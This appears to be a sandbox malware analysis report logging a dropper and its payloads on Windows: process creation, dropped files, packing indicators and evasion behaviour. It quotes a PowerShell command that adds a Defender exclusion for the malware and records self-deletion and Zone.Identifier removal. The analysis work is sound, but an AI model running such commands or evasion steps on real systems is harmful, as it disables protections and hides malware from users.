Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: unknown	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5D4.exe C:\Users\user~1\AppData\Local\Temp\5D4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EDD.exe C:\Users\user~1\AppData\Local\Temp\EDD.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\192F.exe C:\Users\user~1\AppData\Local\Temp\192F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\319A.exe C:\Users\user~1\AppData\Local\Temp\319A.exe
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\69B5.exe C:\Users\user~1\AppData\Local\Temp\69B5.exe
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\32BC.exe C:\Users\user~1\AppData\Local\Temp\32BC.exe
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Process created: C:\Users\user\Desktop\SkB6zJ6H3N.exe 'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5D4.exe C:\Users\user~1\AppData\Local\Temp\5D4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EDD.exe C:\Users\user~1\AppData\Local\Temp\EDD.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\192F.exe C:\Users\user~1\AppData\Local\Temp\192F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\319A.exe C:\Users\user~1\AppData\Local\Temp\319A.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\69B5.exe C:\Users\user~1\AppData\Local\Temp\69B5.exe
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 32_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 35_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,

Source: C:\Windows\explorer.exe

File created: C:\Users\user~1\AppData\Local\Temp\97A5.tmp

Jump to behavior

Source: 319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	Binary or memory string: INSERT INTO [dbo].[Details] ([Employee Id], [Title], [First Name], [Last Name], [Email], [Phone Number], [Hire Date], [Date of Birth], [Basic Pay], [House Rental Allowance], [Dearness Allowance], [Provident Fund], [Date of Leaving], [Grade]) VALUES (@Employee_Id, @Title, @First_Name, @Last_Name, @Email, @Phone_Number, @Hire_Date, @Date_of_Birth, @Basic_Pay, @House_Rental_Allowance, @Dearness_Allowance, @Provident_Fund, @Date_of_Leaving, @Grade);
Source: sqlite3.dll.36.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	Binary or memory string: UPDATE [dbo].[Details] SET [Employee Id] = @Employee_Id, [Title] = @Title, [First Name] = @First_Name, [Last Name] = @Last_Name, [Email] = @Email, [Phone Number] = @Phone_Number, [Hire Date] = @Hire_Date, [Date of Birth] = @Date_of_Birth, [Basic Pay] = @Basic_Pay, [House Rental Allowance] = @House_Rental_Allowance, [Dearness Allowance] = @Dearness_Allowance, [Provident Fund] = @Provident_Fund, [Date of Leaving] = @Date_of_Leaving, [Grade] = @Grade WHERE (([Employee Id] = @Original_Employee_Id) AND ([Title] = @Original_Title) AND ([First Name] = @Original_First_Name) AND ([Last Name] = @Original_Last_Name) AND ((@IsNull_Phone_Number = 1 AND [Phone Number] IS NULL) OR ([Phone Number] = @Original_Phone_Number)) AND ([Hire Date] = @Original_Hire_Date) AND ([Date of Birth] = @Original_Date_of_Birth) AND ([Basic Pay] = @Original_Basic_Pay) AND ((@IsNull_House_Rental_Allowance = 1 AND [House Rental Allowance] IS NULL) OR ([House Rental Allowance] = @Original_House_Rental_Allowance)) AND ((@IsNull_Dearness_Allowance = 1 AND [Dearness Allowance] IS NULL) OR ([Dearness Allowance] = @Original_Dearness_Allowance)) AND ((@IsNull_Provident_Fund = 1 AND [Provident Fund] IS NULL) OR ([Provident Fund] = @Original_Provident_Fund)) AND ((@IsNull_Date_of_Leaving = 1 AND [Date of Leaving] IS NULL) OR ([Date of Leaving] = @Original_Date_of_Leaving)) AND ([Grade] = @Original_Grade));
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3.dll.36.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_004095FD CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4752:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Command line argument: fam
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Command line argument: \H

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\5D4.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\192F.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SkB6zJ6H3N.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\vojos\fuw.pdb source: 192F.exe, 0000001D.00000000.392199023.0000000000417000.00000002.00020000.sdmp, sfiueca.7.dr
Source:	Binary string: C:\kelut\takemiv\botuw31-mejosek-li.pdb source: 69B5.exe, 69B5.exe.7.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdbp source: 8E8B.exe.7.dr
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 00000020.00000000.407285900.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000023.00000002.433249054.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000002A.00000000.454048622.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.31.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdb source: 8E8B.exe.7.dr
Source:	Binary string: C:\moliyuwod_vofadarecayu\dezuvacux.pdb source: SkB6zJ6H3N.exe
Source:	Binary string: cC:\moliyuwod_vofadarecayu\dezuvacux.pdb` source: SkB6zJ6H3N.exe
Source:	Binary string: C:\lewusukoviv.pdb source: 7428.exe.7.dr
Source:	Binary string: wntdll.pdbUGP source: 192F.exe, 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, 1105.tmp.29.dr
Source:	Binary string: wntdll.pdb source: 192F.exe, 1105.tmp.29.dr
Source:	Binary string: XC:\meyobiti_bigenubixa\zicax4_tupewacuz\mepuyajuyen.pdb` source: 32BC.exe.7.dr
Source:	Binary string: WC:\kelut\takemiv\botuw31-mejosek-li.pdb` source: 69B5.exe, 00000021.00000000.408654637.0000000000401000.00000020.00020000.sdmp, 69B5.exe.7.dr
Source:	Binary string: C:\lewusukoviv.pdb` source: 7428.exe.7.dr
Source:	Binary string: C:\tosofom\yopuk.pdb source: 75B0.exe.7.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb` source: 6DDE.exe.7.dr
Source:	Binary string: C:\meyobiti_bigenubixa\zicax4_tupewacuz\mepuyajuyen.pdb source: 32BC.exe.7.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb source: 6DDE.exe.7.dr

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\192F.exe	Unpacked PE file: 29.2.192F.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cipizi:R;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Unpacked PE file: 33.2.69B5.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;

.NET source code contains potential unpacker

Show sources

Source: 86B8.exe.7.dr, SimplePaint/FrmMain.cs

.Net Code: TypeNameBuilder System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 0_2_02E11D5B push ds; ret
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 19_2_02E80EE3 push ds; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E54 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E63 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402665 push cs; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_0040290C push eax; iretd
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E16 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402DC0 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402DD8 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402DE8 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402DF1 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E82 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E85 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402D92 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E95 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00401D9A pushad ; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E9C push eax; ret
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A96D0D1 push ecx; ret
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 32_2_0040B550 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 32_2_0040B550 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 32_2_0040B50D push ecx; ret
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401A61 push ds; retf
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401569 push edx; iretd
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401569 push edx; iretd
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402874 push esp; iretd
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401575 push edx; iretd
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402F19 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_004015D3 push edx; iretd
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_004026D8 push ds; retf
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401580 push edx; iretd
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401981 push ebx; retf

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Code function: 0_2_004267E0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: 8746.exe.7.dr

Static PE information: 0xBCDF81AC [Sat May 31 12:18:52 2070 UTC]

Source: SkB6zJ6H3N.exe	Static PE information: section name: .xemu
Source: 32BC.exe.7.dr	Static PE information: section name: .malajew
Source: 192F.exe.7.dr	Static PE information: section name: .cipizi
Source: 6DDE.exe.7.dr	Static PE information: section name: .vuci
Source: 75B0.exe.7.dr	Static PE information: section name: .xoj
Source: 97A5.exe.7.dr	Static PE information: section name: .xemu
Source: sfiueca.7.dr	Static PE information: section name: .cipizi
Source: cviueca.7.dr	Static PE information: section name: .xemu

Source: EDD.exe.7.dr	Static PE information: real checksum: 0x10f50 should be: 0x5be1
Source: 86B8.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x4147a
Source: 5D4.exe.7.dr	Static PE information: real checksum: 0x8ddc4 should be: 0x7fd66
Source: 89D7.exe.7.dr	Static PE information: real checksum: 0x87179 should be: 0x81f2a
Source: 319A.exe.7.dr	Static PE information: real checksum: 0x2bdee should be: 0x3529c

Source: initial sample	Static PE information: section name: .text entropy: 6.98541058643
Source: initial sample	Static PE information: section name: .text entropy: 6.97994250456
Source: initial sample	Static PE information: section name: .text entropy: 7.66779890827
Source: initial sample	Static PE information: section name: .text entropy: 7.66469899227
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 7.83179260502
Source: initial sample	Static PE information: section name: .text entropy: 7.79620991915
Source: initial sample	Static PE information: section name: .text entropy: 7.85713092672
Source: initial sample	Static PE information: section name: .text entropy: 7.29655075024
Source: initial sample	Static PE information: section name: .text entropy: 7.8779018043
Source: initial sample	Static PE information: section name: .text entropy: 7.86113394582
Source: initial sample	Static PE information: section name: .text entropy: 6.98541058643
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 6.98541058643
Source: initial sample	Static PE information: section name: .text entropy: 6.97994250456

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\sfiueca	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cviueca	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\eviueca	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\sfiueca	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\97A5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\69B5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\32BC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\86B8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\75B0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\eviueca	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	File created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8746.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5D4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8E8B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cviueca	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\192F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\192F.exe	File created: C:\Users\user\AppData\Local\Temp\1105.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\EDD.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\89D7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\319A.exe	File created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\319A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7428.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6DDE.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\skb6zj6h3n.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\cviueca:Zone.Identifier read attributes | delete

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_00408E31 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\AppData\Local\Temp\5D4.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX
